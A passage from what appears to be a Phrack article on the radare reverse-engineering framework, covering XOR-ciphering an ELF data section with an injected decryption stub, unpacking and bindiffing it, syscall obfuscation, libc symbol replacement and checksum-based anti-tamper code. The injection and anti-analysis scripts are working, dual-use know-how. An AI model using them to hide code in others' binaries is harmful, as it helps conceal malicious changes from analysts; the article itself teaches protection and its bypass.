?e Delta is `?v pdelta`

# reset flag from again, we are calculating virtual and physical addresses
ff $${io.vaddr}
f pfrom @ pfrom+pdelta
f vfrom @ vfrom+pdelta
ff 0

?e Range of data to cipher: `?v pfrom`- `?v pto`= `?v pto-pfrom`bytes

# Calculate the new physical size of bytes to be ciphered.
# we dont want to overwrite bytes not related to the data section
f psize @ section._data_end - section._data
?e PSIZE = `?v psize`

# 'wox' stands for 'write operation xor' which accepts an hexpair list as
# a cyclic XOR key to be applied to at 'pfrom' for 'psize' bytes.
wox a8 @ pfrom:psize

# Inject shellcode
#------------------

# Setup the simple profile for the disassembler to simplify the parsing
# of the code with the internal grep
e asm.profile=simple

# Seek at entrypoint
s entrypoint

# Seek at address (fourth word '[3]') at line'#1' line of the disassembly
# matching the string 'push dword' which stands for the '__libc_csu_init'
# symbol. This is the constructor of the program, and we can modify it
# without many consequences for the target program (it is not widely used).
s `pd 20~push dword[3]#1`

# Compile the 'uxor.S' specifying the virtual from and virtual to addresses
!gcc uxor.S -DFROM=`?v vfrom` -DTO=`?v vfrom+psize`

# Extract the symbol 'main' of the previously compiled program and write it
# in current seek (libc_csu_init)
wx `!!rabin -o d/s a.out|grep ^main|cut -d ' ' -f 2`

# Cleanup!
?e Uncipher code: `?v $$+$${io.vaddr}`
!!rm -f a.out
q!
-------8<------------
```

The unciphering snippet of code looks like:

```
-------8<------------
.global main
main:
  mov $FROM, %esi
  mov $TO, %edi
  0:
  inc %esi
  xorb $0xa8, 0(%esi)
  cmp %edi, %esi
  jbe 0b
  xor %edi, %edi
  ret
-------8<------------
```

Finally we run the code:

```
  $ cat hello.c
  #include <stdio.h>
  char message[128] = "Hello World";

  int main()
  {
    message[1]='a';
    if (message[0]!='H')
      printf("Oops\n");
    else
      printf("%s\n", message);
    return 0;
  }

  $ gcc hello.c -o hello
  $ strings hello | grep Hello
  Hello World
  $ ./hello
  Hallo World
  $ radare -w -i xordata.rs hello
  $ strings hello | grep Hello
  $ ./hello
  Hallo World
```

The ’Hello World’ string is no longer in plain text. The ciphering algorithm is really stupid. The reconstructed data section can be extracted from a running process using the debugger:

```
  $ cat unpack-xordata.rs
  e asm.profile=simple
  s entrypoint
  !cont `pd 20~push dword[3]#2`
  f delta @ section._data- segment.phdr_0.rw_.paddr-section.
  s segment.phdr_0.rw_.vaddr+delta
  b section._data_end - section._data
  wt dump
  q!
  $ radare -i unpack-xordata.rs -d ./hello
  $ strings dump
  Hello World
```

Or statically:

```
  e asm.profile=simple
  wa ret @ `pd 20~push dword[3]#1`
  wox a8 @ section._data:section._data_end-section.data
```

This is a plain example of how complicated can be to add a protection and how easy is to bypass it.

As a final touch for the unpacker, just write a ’ret’ instruction at symbol ’__libc_csu_init’ where the deciphering loop lives:

```
  wa ret @ sym.__libc_csu_init
```

Or just push a null pointer instead of the csu_init pointer in the entrypoint.

```
  e asm.profile=simple
  s entrypoint
  wa push 0 @ `pd 20~push dword[0]#1`
```

--[3.4 - Finding differences in binaries

Lets draw a scenario where a modified binary (detected by a checksum file analyzer) has been found on a server, and the administrator or the forensic analyst wants to understand whats going on that file.

To simplify the explanation the explanation will be based on the previous chapter example.

At first point, checksum analysis will determine if there's any collision in the checksum algorithm, and if the files are really different:

```
  $ rahash -a all hello
  par:     0
  xor:     00
  hamdist: 01
  xorpair: 2121
  entropy: 4.46
  mod255:  84
  crc16:   2654
  crc32:   a8a3f265
  md4:     cbfc07c65d377596dd27e64e0dcac6cd
  md5:     2b3b691d92e34ad04b1affea0ad2e5ab
  sha1:    8ac3f9165456e3ac1219745031426f54c6997781
  sha256:  749e6a1b06d0cf56f178181c608fc6bbd7452e361b1e8bfbcfac1310662d4775
  sha384:  c00abb14d483d25d552c3f881334ba60d77559ef2cb01ff0739121a178b05...
  sha512:  099b42a52b106efea0dc73791a12209854bc02474d312e6d3c3ebf2c272ac...

  $ rahash -a all hello.orig
  par:     0
  xor:     de
  hamdist: 01
  xorpair: a876
  entropy: 4.29
  mod255:  7b
  crc16:   2f1f
  crc32:   b8f63e24
  md4:     bc9907d433d9b6de7c66730a09eed6f4
  md5:     6085b754b02ec0fc371a0bb7f3d2f34e
  sha1:    6b0d34489c5ad9f3443aadfaf7d8afca6d3eb101
  sha256:  8d58d685cf3c2f55030e06e3a00b011c7177869058a1dcd063ad1e0312fa1de1
  sha384:  6e23826cc1ee9f2a3e5f650dde52c5da44dc395268152fd5c98694ec9afa0...
  sha512:  09b7394c1e03decde83327fdfd678de97696901e6880e779c640ae6b4f3bf...
```

There is the possibility to generate two different files matching until 3 different checksum algorithms (and maybe more in the future). If any of them differs we can determine that the file is different.

```
$ du -bs hello hello.orig
4913    hello
4913    hello.orig
```

As both files have the same size it will be worth using a byte-level diffing, because it is more probable easy to read the differences than trying to understand them as deltified ones (which is the default diffing algorithm).

```
  $ radiff -b hello.orig hello
  ------
  000003ed 00
  000003f0 55   |   60
  000003f1 89   |   be
  000003f2 e5   |   c0
  ...
  00000406 fe   |   61
  00000407 ff   |   c3
  00000408 ff   |   90
  00000409 8d   |   90
  0000040a bb   |   90
  0000040b 18   |   90
  0000040c ff
  ------
  000005bd 00
  000005c0 00   |   a8
  000005c1 00   |   a8
  000005c2 00   |   a8
  ...
  000005df 00   |   a8
  000005e0 48   |   e0
  000005e1 65   |   cd
  000005e2 6c   |   c4
  000005e3 6c   |   c4
  000005e4 6f   |   c7
  0000065f 00   |   a8
  00000660 00
```

Radiff detects two blocks of changes determined by the '------' lines.

The first block starts at 0x3f0 and the second one (which is bigger) begins at address 0x5c0.

While watching the massive 00->a8 conversion it is possible to blindly determine that the ciphering algorithm is XOR and the key is 0xa8. But let's get a look on the first block of changes and disassemble the code.

```
  $ BYTES=$(radiff -f 0x3f0 -t 0x40b -b hello.orig hello | awk '{print $4}')
  $ rasm -d "$(echo ${BYTES})"
  pushad
  mov esi, 0x80495c0
  mov edi, 0x8049660
  inc esi
  xor byte [esi], 0xa8
  cmp esi, edi
  jbe 0x38
  popad
  ret
  ...
```

Here it is! this code of assembler is looping from 0x80495c0 to 0x8049660 and XORing each byte with 0xa8.

radiff can also dump the results of the diff in radare commands. The execution of the script will result on a binary patch script to convert one file to another.

```
  $ radiff -rb hello hello.orig > binpatch.rs
  $ cat binpatch.rs | radare -w hello
  $ md5sum hello hello.orig
  6085b754b02ec0fc371a0bb7f3d2f34e  hello
  6085b754b02ec0fc371a0bb7f3d2f34e  hello.orig
```

--[3.5 - Removing library dependencies

In some gnu/linux distributions, all the ELF binaries are linked against libselinux, which is an undesired dependency if we want to make our hello world portable. SElinux is not available in all gnu/linux distros.

This is a simple example, but we can extend the issue to bad pkg-config configuration files that can make a binary depend on more libraries than the minimum required.

Perhaps most users will not care and will probably install those dependencies, recompile the kernel or whatever else. It is a pity to make steps in backward instead of telling gcc to not link against those libraries.

But we can avoid these dependencies easily: all the library names are stored as zero-terminated strings in the ELF header, and the loader (at least the Solaris, Linux and BSD ones) will ignore dependency entries if the library name is zero length.

The patch consists on finding the non-desired library name (or the prefix, if there are more than one libraries with similar names) and then write 0x00 in each search result.

```
  $ radare -nw hello
  [0x00000000]> / libselinux
  ... (results) ...
  [0x00000000]> wx 00 @@ hit
  [0x00000000]> q!
```

Using -nw radare will run without interpreting the ~/.radarerc and it will not detect symbols or analyze code (we only need to use the basic hexadecimal capabilities). The -w flag will open the file in read-write.

Each search result will be stored in the 'search' flagspace with names predefined by the 'search.flagname' eval variable that will be hit%d_%d by default. (This is keyword_index and hit_index).

The last command will run 'wx 00' at every '@@' flag matching 'hit' in the current flagspace.

Use 'q!' if you don't want to be prompted to restore the changes done before exiting.

--[3.6 - Syscall obfuscation

Looking for raw int 0x80 instructions on standard binaries it's going probably to be a hard task unless these are statically compiled. This is because they usually live in libraries which are embedded in the program.

Libraries like libc have loads of symbols that are directly mapped to syscalls, and the reverser could use this information to identify code in a statically compiled program.

To obfuscate symbols we can embed syscalls directly on the host program, after trashing the stack to break standard backtraces.

If you go deep enough on the new syscalling system of Linux you will notice that the int 0x80 syscall mechanism is no longer used in the current x86 platforms because performance reasons.

The new syscall mechanism consists in calling a trampoline function installed by the kernel as a 'fake' ELF shared object mapped on the running process memory. This trampoline function implements the most suitable syscall mechanism for the current platform. This shared object is called VDSO.

In Linux only two segment registers are used: cs and gs. This is for simplicity reasons. The first one allows to access to the whole program memory maps, and the second one is used to store Thread related information.

Here is a simple segment dumper to get the contents from %gs.

```
----------------------8<----------------------------
$ cat segdump.S
#define FROM 0 /* 0x8048000 */
#define LEN 0x940
#define TIMES 1
#define SEGMENT %gs /* %ds */

.global main

.data
buffer:
.fill LEN, TIMES, 0x00

.text
main:
        mov $TIMES, %ecx
  loopme:
        push %ecx

        sub $TIMES, %ecx
        movl $LEN, %eax
        imul %eax, %ecx
        movl %ecx, %esi /* esi = ($TIMES-%ecx)*$LEN */
        addl $FROM, %esi
        lea buffer, %edi
        movl $LEN, %ecx

        rep movsb SEGMENT:(%esi),%es:(%edi)

        movl $4, %eax
        movl $1, %ebx
        lea buffer, %ecx
        movl $LEN, %edx
        int $0x80

        pop %ecx
        xor %eax, %eax
        cmp %eax, %ecx
        dec %ecx
        jnz loopme

        ret
----------------------8<----------------------------
```

At this point we disable the random va space to analyze the contents of the VDSO map always at the same address during executions.

```
  $ sudo sysctl -w kernel.randomize_va_space=0
```

Compile and dump the segment to a file:

```
  $ gcc segdump.S
  $ ./a.out > gs.segment
```

And now let's do some little analysis in the debugger:

```
  $ radare -d ls  ; debug 'ls' program
  ...
  ; Inside the debugger we write the contents of the gs.segment file.
  ; In the initial state, the current seek points to 'eip'.

  [0x4A13B8C0]> wf gs.segment
  Poke 100 bytes from gs.segment 1 times? (y/N) y
  file poked.
     offset    0 1  2 3  4 5  6 7  8 9  A B  C D  E F 0123456789ABCDEF
  0x4a13b8c0, c006 e8b7 580b e8b7 c006 e8b7 0000 0000 ....X...........
  0x4a13b8d0, 1414 feb7 ec06 0a93 b305 6beb 0000 0000 ..........k.....
  0x4a13b8e0, 0000 0000 0000 0000 0000 0000 0000 0000 ................
  0x4a13b8f0, 0000 0000 0000 0000 0000 0000 0000 0000 ................
  0x4a13b900, 0000 0000 0000 0000 0000 0000 0000 0000 ................
  0x4a13b910, 0000 0000 0000 0000 0000 0000 0000 0000 ................

  ; Once the file is poked in process memory we have different ways to
  ; analyze the contents of the current data block. One possible option
  ; is to use the ’pm’ command which prints memory contents following the
  ; format string we use as argument, it is also possible to specify the
  ; element names as in a structure.
  ;
  ; Another option is the ’ad’ command which ’analyzes data’ reading the
  ; memory as 32bit primitives following pointers and identifying
  ; references to code, data, strings or null pointers.

  [0x4A13B8C0]> pm XXXXXXXXX
  0x4a13b8c0 = 0xb7fe46c0
  0x4a13b8c4 = 0xb7fe4ac8
  0x4a13b8c8 = 0xb7fe46c0
  0x4a13b8cc = 0x00000000 ; eax
  0x4a13b8d0 = 0xb7fff400 ; maps._vdso__0+0x400
  0x4a13b8d4 = 0xff0a0000
  0x4a13b8d8 = 0x856003b1
  0x4a13b8dc = 0x00000000 ; eax
  0x4a13b8e0 = 0x00000000 ; eax

  [0x4A13B8C0]> ad
  0x4a13b8c0, int be=0xc046feb7 le=0xb7fe46c0
  0x4a13b8c4, int be=0xc84afeb7 le=0xb7fe4ac8
  0x4a13b8c8, int be=0xc046feb7 le=0xb7fe46c0
     0x4a13b8cc, (NULL)
  0x4a13b8d0, int be=0x00f4ffb7 le=0xb7fff400 maps._vdso__0+0x400
  0xb7fff400,    string "QRU"
  0xb7fff404, int be=0xe50f3490 le=0x90340fe5

  ; Both analysis result in a pointer to the vdso map at 0x4a13b8d0
  ; Disassembling these contents with ’pd’ (print disassembly) we get that
  ; the code uses sysenter.

  [0x4A13B8C0]> pd 17 @ [+0x10]
          _vdso__0:0xb7fff400,   51              push ecx
          _vdso__0:0xb7fff401    52              push edx
          _vdso__0:0xb7fff402    55              push ebp
      .-> _vdso__0:0xb7fff403    89e5            mov ebp, esp
      |   _vdso__0:0xb7fff405    0f34            sysenter
      |   _vdso__0:0xb7fff407    90              nop
      |   _vdso__0:0xb7fff408,   90              nop
      |   _vdso__0:0xb7fff409    90              nop
      |   _vdso__0:0xb7fff40a    90              nop
      |   _vdso__0:0xb7fff40b    90              nop
      |   _vdso__0:0xb7fff40c,   90              nop
      |   _vdso__0:0xb7fff40d    90              nop
      `=< _vdso__0:0xb7fff40e    ebf3            jmp 0xb7fff403
          _vdso__0:0xb7fff410,   5d              pop ebp
          _vdso__0:0xb7fff411    5a              pop edx
          _vdso__0:0xb7fff412    59              pop ecx
          _vdso__0:0xb7fff413    c3              ret
```

After this little analysis we can use a new way to call syscalls and transform the "int 0x80" instructions into a bunch of operations.

```
  new_syscall:
    push %edi
    push %esi
    movl $0x10, %esi
    movl %gs:(%esi), %edi
    call *%edi
    pop %esi
    pop %edi
    ret
```

Using this 'big' primitive we are able to add more trash code and make static analysis harder.

Using dynamic analysis it is possible to bypass this protection by writing a simple script that dumps the backtrace every time a syscall is executed.

```
  (syscall-bt
    e scr.tee=log.txt
    label:
    !contsc
    !bt
    .label:
  )
```

Or with a shell single liner:

```
  $ echo '(syscall-bt,e scr.tee=log.txt,label:,!contsc,!bt,.label:,) \
    &&.(syscall-bt)' | radare -d ./a.out
```

A way to make the analysis harder is to trash the stack contents with a random offset every time we run a syscall. By decreasing the stack pointer and later incrementing it we will make the backtrace fail.

To trash the stack we can just increment the stack before the syscall and decrement it after calling it. The analyst will have to patch these inc/dec opcodes for every syscall trampolines to get proper backtrace and resolve the xrefs for each entry.

Radare implements a "!contsc" command that makes the debugger stop before and after a syscall. This can be scripted together with "!bt" and "!st" to get a handmade version of the strace utility.

Another trick that we can exploit for writing our homebrew packer is to use instructions needed to be patched for proper analysis as cipher keys. Making the program crash when trying to decipher a section using invalid keys for example.

--[3.7 - Replacing library symbols

Statically linked binaries are full of unused bytes, we can take use of this to inject our code.

Lot of library symbols (for example from libc) can be directly replaced by system calls at the symbol or directly in-place where it is called. For example:

```
  call exit
```

can be replaced these (also 5 byte length) instructions:

```
  xor eax,eax
  inc eax
  int 0x80

  $ rasm 'xor eax,eax;inc eax;int 0x80'
  31 c0 40 cd 80
```

This way we can just go into the statified libc's exit implementation and overwrite it with our own code.

If the binary is statically compiled with stripped symbols we will have to look for signatures or directly find the 'int 0x80' instruction and then analyze code backward looking for the beginning of the implementation and then find for xrefs to this point.

Most compilers append libraries at the end of the binary, so we can easily 'draw' an imaginary line where the program ends and libraries start.

There's another tool that may help to identify which libraries and versions are embedded in our target program. It is called 'rsc gokolu'. The name stands for 'g**gle kode lurker' and it will look for strings in the given program in the famous online code browser and give approximated results of the source of the string.

When we have debugging or symbolic information the process becomes much easier and we can directly overwrite the first bytes of the embedded glibc code with the small implementation in raw assembly using syscalls.

rabin is the utility in radare which extracts information from the headers of a given program. This is like a multi-architecture multi-platform and multi-format 'readelf' or 'nm' replacement which supports ELF32/64, PE32/32+, CLASS and MACH0.

The use of this tool is quite simple and the output is quite clean to ease the parsing with sed and other shell tools.

```
  $ rabin -vi a.out
  [Imports]
  Memory address        File offset     Name
  0x08049034    0x00001034      __gmpz_mul_ui
  0x08049044    0x00001044      __cxa_atexit
  0x08049054    0x00001054      memcmp
  0x08049064    0x00001064      pcap_close
  0x08049074    0x00001074      __gmpz_set_ui
  ...

  $ rabin -ve a.out
  [Entrypoint]
  Memory address:       0x080494d0

  $ rabin -vs a.out
  [Symbols]
  Memory address        File offset     Name
  0x0804d86c    0x0000586c      __CTOR_LIST__
  0x0804d874    0x00005874      __DTOR_LIST__
  0x0804d87c    0x0000587c      __JCR_LIST__
  0x08049500    0x00001500      __do_global_dtors_aux
  0x0804dae8    0x00005ae8      completed.5703
  0x0804daec    0x00005aec      dtor_idx.5705
  0x08049560    0x00001560      frame_dummy
  ...

  $ rabin -h
  rabin [options] [bin-file]
   -e        shows entrypoints one per line
   -i        imports (symbols imported from libraries)
   -s        symbols (exports)
   -c        header checksum
   -S        show sections
   -l        linked libraries
   -H        header information
   -L [lib]  dlopen library and show address
   -z        search for strings in elf non-executable sections
   -x        show xrefs of symbols (-s/-i/-z required)
   -I        show binary info
   -r        output in radare commands
   -o [str]  operation action (str=help for help)
   -v        be verbose

 See manpage for more information.
```

The same flags can be used for any type of binary for any architecture.

Using the -r flag the output will be formatted in radare commands, this way you can import the binary information. This command imports the symbols, sections, imports and binary information.

```
  [0x00000000]> .!!rabin -rsSziI $FILE
```

This is done automatically when loading a file if you have file.id=true, if you want to disable the analysis run 'radare' with '-n' (because this way it will not interpret the ~/.radarerc).

Programs with symbols or debug information are mostly analyzed by the code analysis of 'radare' thanks to the hints given by 'rabin'. So, theoretically we will be able to automatically resolve the crossed references to functions. But if we are not that lucky we can just setup a simple disassembly output format (e asm.profile=simple) and disassemble the whole program code grepping for 'call 0x???????' to resolve calls to our desired owned symbol.

```
  [0x08049A00]> e scr.color=false
  [0x08049A00]> e asm.profile=simple
  [0x08049A00]> s section._text
  [0x08049A00]> b section._text_end-section._text
  [0x08049A00]> pd~call 0x80499e4
  0x08049fd9    call 0x80499e4  ; imp.exit
  0x0804fa89    call 0x80499e4  ; imp.exit
  0x0805047b    call 0x80499e4  ; imp.exit
  [0x08049A00]>
```

If we are not lucky and do not have symbols we will have to identify which parts of the binary are part of our target binary.

```
  $ rsc syms-dump /lib/libc.so.6 24 > symbols
```

--[3.8 - Checksumming

The most common procedure to check for undesired runtime or static program patches is done by using checksumming operations over sections, functions, code or data blocks.

These kind of protections are usually easy to patch, but allow the end user to get a grateful error message instead of a raw Segmentation Fault.

The error message string can be a simple entrypoint for the reverser to catch the position of the checksumming code.

Radare offers a hashing command under the "h" char and allows you to calculate block-based checksums while debugging or statically by opening the file from disk.

Heres an usage example:

```
  hmd5
```

It is also possible to use these hashing instructions to find pieces of the program matching a certain checksum value, or just recalculate the new sum to not patch the hash check.

The 'h' command can be also performed from the shell by using the "rahash" program which permits to calculate multiple checksums for a single file based on blocks of bytes. This is commonly used on forensics, when you want a checksum to not only give you a boolean reply (if the program has been modified), because this way you can reduce the problem on a smaller piece of the binary because you have multiple checksums at different offsets for the same file.

This action can be done over hard disks, device firmwares or memory dumps of the same size.

If you are dealing similar file with deltified contents or you require a more fine grained result you should try "radiff" which implements multiple bindiffing algorithms that goes from byte level detecting deltas to code level diffing using information of basic blocks, variables accessed and functions called.

We will also have to decide a protection method for the checksumming algorithm, because this will be the first patch required to enable software breakpoints and user defined patches to be done.

To protect the hasher we just put it distributed along the program by mixing its code with the rest of the program making more difficult to identify the its position. We can also choose to put this code into a ciphered area in .data together with other necessary code to make the program run.

One of the main headaches for reversers is the layering of protections that can be represented by lot of entrypoints to the same code making more difficult to locate and patch in a proper way.

The checksumming of a section can be used as a deciphering key for other ciphered sections, to avoid easy patching, the program should check for the consistence of the deciphered code. This can be done by checking for another checksum or by comparing few bytes at the beginning of the deciphered and mmap code.

There is another possible design to implement the checksumming algorithm in a more flexible way which consists on checksumming the code in runtime instead of hardcoding the resulting value somewhere.

This method allows us to 'protect' multiple functions without having to statically calculate the checksum value of the region. The problem with this method is that it doesn't provide us protection against static modifications on the binary.

This snippet can be compiled with DEBUG=0 to get a fully working checksumming function which returns 0 when the checksum matches.

```
---------------------8<-------------------------
#define CKSUM 0x68
#define FROM 0x8048000
#define SIZE 1024

str:
.asciz "Checksum: 0x%08x\n"

.global cksum
cksum:
        pusha
        movl $FROM, %esi
        movl $SIZE, %ecx
        xor %eax, %eax
        1:
        xorb 0(%esi), %al
        add $1, %esi
        loopnz 1b
#if DEBUG
        pushl %eax
        pushl $str
        call printf
        addl $8, %esp
#else
        sub $CKSUM, %eax
        jnz 2f
#endif
        popa
        ret
```

```
#if DEBUG
.global main
main:
        call cksum;
        ret
#else
        2:
        mov $20, %eax
        int $0x80
        mov $37, %ebx
        mov $9, %ecx
        xchg %eax, %ebx
        int $0x80
#endif
---------------------8<-------------------------
```

To get the bytes of the function to be pushed we can use an ’rsc’ script that dumps the hexpairs contained managed by a symbol in a binary:

```
  $ gcc cksum.S -DDEBUG
  $ ./a.out
  Checksum: 0x69

  $ gcc -c cksum.S
  $ rsc syms-dump cksum.o | grep cksum
  cksum: 60 be 00 80 04 08 b9 00 04 00 00 31 c0 32 06 83 c6 01 e0 f9 2d d2 04 \
  00 00 75 02 61 c3 b8 14 00 00 00 cd 80 bb 25 00 00 00 b9 09 00 00 00 93 cd 80
```

The offsets to patch with our ranged values are:

```
  +2: original address (4 bytes in little endian)
  +7: size of buffer (4 bytes in little endian)
  +21: checksum byte (1 byte)
```

We can use this hexdump from a radare macro that automatically patches the correct bytes while inserting the code in the target program.

```
  $ rsc syms-dump cksum.o | grep cksum | cut -d : -f 2 > cksum.hex
  $ cat cksum.macro
  (cksum-init ckaddr size,f ckaddr @ $0,f cksize @ $1,)
  (cksum hexfile size
    # kidnap some 4 opcodes from the function
    f kidnap @ `aos 4`
    yt kidnap ckaddr+cksize
    wa jmp $$+kidnap @ ckaddr+cksize+kidnap
    wa call `?v ckaddr`
    wF $0 @ ckaddr
    f cksize @ $$w
    f ckaddr_new @ ckaddr+cksize+50
    wv $$ @ ckaddr+2
    wv $1 @ ckaddr+7
    wx `hxor $1` @ ckaddr+21
    f ckaddr @ ckaddr_new
  )

  $ cat cksum.hooks
  0x8048300
  0x8048400
  0x8048800

  $ radare -w target
  [0x8048923]> . cksum.macro
  [0x8048923]> .(cksum-init 0x8050300 30)
  [0x8048923]> .(cksum cksum.hex 100) @@. cksum.hooks
```

--[4 - Playing with code references

The relationship between parts of code in the program are a good source of information for understanding the dependencies between code blocks, functions.

Following sub-chapters will explain how to generate, retrieve and use the code references for retrieving information from a program in memory or statically on-disk.

--[4.1 - Finding xrefs

One of the most interesting information we need when understanding how a program works or what it does is the flow graph between functions. This give us the big picture of the program and allows us to find faster the points of interest.

There are different ways to obtain this information in radare, but you will finally manage it with the ’Cx’ and ’CX’ commands (x=code xref, X=data xref). This means that you can even write your own program to extract this information and import it into radare by just interpreting the output of the program or a file.

```
  [0x8048000]> !!my-xrefs-analysis a.out > a.out.xrefs
  [0x8048000]> . a.out.xrefs
  or
  [0x8048000]> .!my-xrefs-analysis a.out
```

At the time of writing this, radare implements a basic code analysis algorithm that identifies function boundaries, splits basic blocks, finds local variables and arguments, tracks their access and also identifies code and data references of individual instructions.

When ’file.analyze’ is ’true’, this code analysis is done recursively over the entrypoint and all the symbols identified by rabin. This means that it will not be able to automatically resolve code references following pointer tables, register branches and so on and lot of code will remain unanalyzed.

We can manually force to analyze a function at a certain offset by using the ’.afr@addr’ command which will interpret (’.’) the output of the command ’afr’ that stands for ’analyze function recursively’ at (@) a certain address (addr).

When a ’call’ instruction is identified, the code analysis will register a code xref from the instruction to the endpoint. This is because compilers uses these instructions to call into subroutines or symbols.

As we did previously, we can disassemble the whole text section looking for a ’call’ instruction and register code xrefs between the source and destination address with these two lines:

```
  [0x000074E0]> e asm.profile=simple
  [0x000074E0]> "(xref,Cx `pd 1~[2]`)"
  [0x000074E0]> .(xref) @@=`pd 100~call[0]`
```

We use the simple asm.profile to make the disassembly text parsing easier.

The first line will register a macro named ’xref’ that creates a code xref at address pointed by the 3rd word of the disassembled instruction.

In the second line it will run the previous macro at every offset specified by the output of the "pd 100~call[0]" instruction. This is the offset of every call instruction of the following 100 instructions.

When disassembling code (using the ’pd’ command (print disasm)) xrefs will be displayed if asm.xrefs is enabled. Optionally, we can set asm.xrefsto to visualize the xref information at both end-points of the code reference.

--[4.2 - Blind code references

The xrefs(1) program that comes with radare implements a blind code reference search algorithm based on identifying sequences of bytes matching a certain pattern.

The pattern is calculated depending on the offset. This way the program calculates the relative delta between the current offset and the destination address and tries to find relative branches from one point to another of the program.

The current implementation supports x86, arm and powerpc, but allows to define templates of branch instructions for other architectures by using the option flags to determine the instruction size, endianness, the way to calculate the delta, etc.

The main purpose of this program was to identify code xrefs on big files (like firmwares), where the code analysis takes too long or requires many manual interaction, it is not designed to identify absolute calls or jumps.

Here’s an usage example:

```
  $ xrefs -a arm bigarmblob.bin 0x6a390
  0x80490
  0x812c4
```

--[4.3 - Graphing xrefs

Radare ships some commands to manage and create interactive graphs to display code analysis based on basic blocks, function blocks or whatever we want by using the ’gu’ command (graph user)

The most simple way to use the graphing capabilities is to use the ’ag’ command that will directly popup a gtk window with a graphed code analysis from the current seek, splitting the code by basic blocks. (use the eval graph.jmpblocks and graph.callblocks to split blocks by jumps or calls to analyze basic blocks or function blocks).

The graph is stored internally, but if we want to create our own graphs we can use the ’gu’ command which provides subcommands to reset a graph, create nodes, edges and display them.

```
  [0x08049A00]> gu?
  Usage: gu[dnerv] [args]
   gur              user graph reset
   gun $$ $$b pd    add node
   gue $$F $$t      add edge
   gud              display graph in dot format
   guv              visualize user defined graph
```

This is a radare script that will generate a graph between analyzed function by using the xrefs metadata information.

After configuring the graph we can display it using the internal viewer (guv) or using graphviz’s dot.

```
--------8<---------------
"(xrefs-to from,f XT @ ‘Cx˜$0[3]‘,)"
"(graph-xrefs-init,gur,)"
"(graph-xrefs,.(xrefs-to ‘?v $$‘),gue $$F XT,)"
"(graph-viz,gud > dot,!!dot -Tpng -o graph.png dot,!!gqview graph.png,)"

.(graph-xrefs-init)
.(graph-xrefs) @@= ‘Cx˜[1]‘
.(graph-viz)
--------8<---------------
```

Here’s the explanation of the previous script:

Note that all commands are quoted ’"’ because this way the inner special characters are ignored (’>’, ’~’ ...)

```
"(xrefs-to from,f XT @ `Cx~$0[3]`,)"
```

Register a macro named ’xrefs-to’ that accepts one argument named ’from’ and aliased as $0 inside the macro body.

The macro executes the ’f XT’ (create a flag named XT) at (’@’) the address where the code xref (Cx) points (3rd column of the row matching $0 (the first argument of the macro (from)).

```
"(graph-xrefs-init,gur,)"
```

The ’graph-xrefs-init’ macro resets the graph user metadata.

```
"(graph-xrefs,.(xrefs-to `?v $$`),gue $$F XT,)"
```

This macro named ’graphs-xrefs’ that run commands separated by commas:

```
.(xrefs-to `?v $$`)
```

execute the macro ’xrefs-to’ at current seek ($$), the value is concatenated to the output of executing ’?v $$’ which evaluates the ’$$’ special variable and prints the value in hexadecimal.

```
gue XF XT
```

Adds an ’graph-user’ edge between the beginning of the function at current seek and XT.

```
"(graph-viz,gud > dot,!!dot -Tpng -o graph.png dot,!!rsc view graph.png,)"
```

These commands will generate a dot file, render it in png and display it.

```
.(graph-xrefs-init)
.(graph-xrefs) @@= `Cx~[1]`
.(graph-viz)
```

Then, we bundle all those macros and the xrefs graph will be displayed

--[4.4 - Randomizing xrefs

Another annoying low level manipulation we can do is to repeat functions at random places with random modifications to make the program code more verbose and hard to analyze because of complex control flow paths.

By doing a cross-references (xrefs) analysis between the symbols we will be able to determine which symbols are referenced more from than one single point.

The internal grep syntax can be tricky to retrieve lists of offsets for xrefs at a given position.

```
  [0x0000c830]> Cx
  Cx 0x00000c59 @ 0x00000790
  Cx 0x00000c44 @ 0x000007b0
  Cx 0x00000c35 @ 0x00000810
  Cx 0x00000c26 @ 0x000008a0
  ...
```

These numbers specify the caller address and the called one. That is:

```
  0xc59 -(calls)-> 0x790
```

To disassemble the opcodes referencing code to other positions we can use the ’pd’ command with a foreach statement:

```
  [0x0000c830]> pd 1 @@= ‘C*˜Cx[1]‘
```

This command will run ’pd 1’ on every address specified in the 1st column of the output of the ’C*˜Cx[1]’

--[5 - Conclussion

This article has covered many aspects of reverse engineering, low level program manipulation, binary patching/diffing and more, despite being a concrete task it has tried to expose a variety of scenarios where a command line hexadecimal editor becomes an essential tool.

Several external scripting languages can be used, don’t care about the cryptic scripting of the radare commands, there are APIs for perl, ruby and python for controlling radare and analyze code or connect to remote radares.

Being used in batch mode enables the ability to automatize many analysis tasks, generate graphs of code, determine if it is packed or infected, find vulnerabilities, etc.

Maybe the more important characteristic of this software is the abstraction of the IO which allows you to open hard disk images, serial connections, process memory, haret wince devices, gdb-enabled applications like bochs, vmware, qemu, shared memory areas, winedbg and more.

There are lot of things we have not covered in this article but the main concepts have been exposed while explaining multiple protection techniques for binaries.

Using scriptable tools for implementing binary protection techniques eases the development and permits to recycle and accelerate the analysis and manipulation of files.

--[6 - Future work

The project was born in 2006, and it has grown pretty fast.

At the moment of writing this paper the development is done on two different branches: radare and radare2.

The second one is a complete refactoring of the original code aiming to reimplement all the features of the radare framework into multiple libraries.

This design permits to bypass some limitations of the design of r1 enabling full scripting support for specific or composed set of libraries. Each module extends its functionalities into plugins.

While using parrot as a virtual machine, multiple scripting languages can be used together. Being scripting language agnostic enables the possibility to mix multiple frameworks together (like metasploit [5], ERESI [6], etc)

The modular design based on libraries, plugins and scripts will open new ways to extend the framework by third party developers and additionally make the code much more maintainable and bugfree.

New applications will appear on top of the r2 set of libraries, there are some projects aiming to integrate it from web frontends and graphical frontends.

Plugins extend the modules adding support for new architectures, binary formats, code analysis modules, debugging backends, remote protocols, scripting facilities and more.

At the moment of writing this, radare2 (aka libr) is actually under development but implements some test programs that try to reimplement the applications distributed with radare.

--[7 - References

[0] radare homepage
http://www.radare.org

[1] radare book (pdf)
http://www.radare.org/get/radare.pdf

[2] x86-32/64 architecture
http://www.intel.com/Assets/PDF/manual/253666.pdf

[3] ELF file format
http://en.wikipedia.org/wiki/Executable_and_Linkable_Format

[4] AT&T syntax
http://sig9.com/articles/att-syntax

[5] Metasploit, ruby based exploit development framework
http://www.metasploit.com/

[6] ERESI
http://www.eresi-project.org/

--[8 - Greetings

Thanks to JV for his support during the write-up of this article, and to the Phrack staff to make the publication possible.

I would also like to greet some people for their support while the development of radare and this article:

```
  SexyPandas .. for the great quals, ctfs and moments
  nopcode .. for those great cons, feedback and beers
  nibble  .. for those pingpong development sessions and support
  killabyte .. for the funny abstract situations we faced everyday
